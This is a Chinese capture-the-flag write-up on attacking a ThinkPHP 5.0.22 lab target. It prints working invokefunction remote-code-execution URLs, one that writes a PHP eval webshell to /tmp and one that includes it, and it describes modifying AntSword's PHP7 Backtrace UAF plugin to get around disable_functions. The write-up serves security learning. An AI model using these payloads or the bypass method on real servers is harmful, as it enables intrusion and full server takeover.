一次魔改蚁剑bypass_disable_functions插件的打靶记录

简单但是需要细心的打靶记录哈哈,蛮有趣的大佬轻点锤image-20231107035636001

一次魔改蚁剑bypass_disable_functions插件的打靶记录

一、解题过程

①:尝试通用payload

url:http://1.117.101.154:30080/

源码:http://1.117.101.154:30080/thinkphp_5.0.22_with_extend.zip

已知:image-20231103182714323

读phpinfo():

tk5.x通用payload:

?s=Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

image-20231103182820721

得到disable_functions

1
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl,gc_collect_cycles,iconv,str_repeat,str_shuffle

可利用命令执行函数(均被ban掉):

exec() x
shell_exec() x
反引号` x
passthru() x
popen() x
proc_open() x
pcntl_exec() :需要开启pcntl扩展 x
COM组件:Wscript.Shell和Shell.Application x
dl():通过加载自定义php扩展突破 disable_fucnitons指令的限制 x

利用PHP内核变量绕过disable_functions x

文件包含通用payload:

1
http://1.117.101.154:30080/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=/tmp/tw.php&vars[1][]=%3C%3Fphp%20echo(%22hello%20hacker%22)%3B%40eval(%24_POST%5B'tw'%5D)%3B%3F%3E

这一次包含能够返回你写入的字符串长度

image-20231103201016733

包含之后再次使用包含来读取上一次包含返回的内容

1
http://1.117.101.154:30080/?s=Index/think\app/invokefunction&function=call_user_func_array&vars[0]=think\__include_file&vars[1][]=/tmp/tw.php

image-20231103201538864

访问包含的webshell一句话木马,发现能够被解析,掏出antsword直接连

image-20231103201659989

直接跳到根目录查看flag.flag文件

image-20231103201911477

flag: flag{FS_ROOT_49mAIg5AbsqbC7nP}

正当我长舒一口气的时候看到一个getrceflag的可进行文件:

image-20231107034136826

进入终端执行看看:

image-20231107034224434

发现限制了根目录,这时候又看到了还有一个 hint:

image-20231103202436181

1
2
3
4
5
恭喜你成功RCE!
现在你需要Bypass disable_function。

本环境可使用某种现成的bypass PoC,但是由于ban了某些函数,因此你需要自行对该PoC进行一些你力所能及的修改。
至于是哪种PoC,嘿嘿?

直接使用蚁剑bypass disable_functions插件,这里就需要魔改一下因为被ban的函数太多了:

1
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl,gc_collect_cycles,iconv,str_repeat,str_shuffle

②:魔改细节请往后看

image-20231103204922812

加载魔改后的插件和对应的exp,点击开始:

image-20231103205100914

跳转到root目录,执行getrceflag程序

image-20231103205214990

获得第二个flag:

flag{RCE_2A7o4zrC2b9yviVp}

这个靶场到这儿就结束啦!!!下面就是插件魔改的详细过程。

二、魔改插件过程

①:被ban函数的位置以及确认exp

首先确认php版本,加载插件:

image-20231107025022272

php7.2,先大概锁定两个exp: PHP7 Backtrace UAFPHP7 GC with Certain Destructors UAF

正常点击开始并不能达到bypass的作用,再结合提示(hint)所说:

1
2
3
4
5
恭喜你成功RCE!
现在你需要Bypass disable_function。

本环境可使用某种现成的bypass PoC,但是由于ban了某些函数,因此你需要自行对该PoC进行一些你力所能及的修改。
至于是哪种PoC,嘿嘿?

查看被ban掉的函数,在蚁剑的插件源码(位于antData\plugins\as_bypass_php_disable_functions-master\payload.js)中查找disable_function中下列函数

1
str_repeat,str_shuffle

为什么仅排查这2个函数,其实对Bypass disable_function有一定查阅的师傅肯定能发现这2个函数之前的函数都是disable_function很常见的函数。

PHP7_Backtrace_UAF_EXP源码中找到

str_repeat

image-20231107030223250

image-20231107030300501

image-20231107030346773

str_shuffle

image-20231107030529707

找到了被ban函数的位置和确认了exp,那么下一步就是如何魔改exp了。

②:确认函数功能并手动实现

第一步先确认两个函数的功能:

str_repeat

1
2
3
4
5
6
7
#定义和用法
str_repeat() 函数把字符串重复指定的次数。
#语法
str_repeat(string,repeat)
#参数 描述
string 必需。规定要重复的字符串。
repeat 必需。规定字符串将被重复的次数。必须大于等于 0

str_shuffle:

1
2
3
4
5
6
#定义和用法
str_shuffle() 函数随机打乱字符串中的所有字符。
#语法
str_shuffle(string)
#参数 描述
string 必需。规定要打乱的字符串。

确认了函数功能下面就是手动实现的过程了,str_repeat()就是一个循环就能替代,而str_shuffle()就是为了随机打乱str_repeat('A', 79)所生成的数,这里生成的为79个相同的A,打乱与否并不重要,所以str_shuffle()完全可以舍弃掉,那么接下啦就是手动实现str_repeat()的过程和结果啦:

image-20231107033415836

image-20231107033340312

image-20231107033445350

保存之后重启蚁剑(antsword),加载PHP7_Backtrace_UAF_EXP插件

image-20231107033803884

绕过disable_function,exp利用成功。到此本文就结束啦!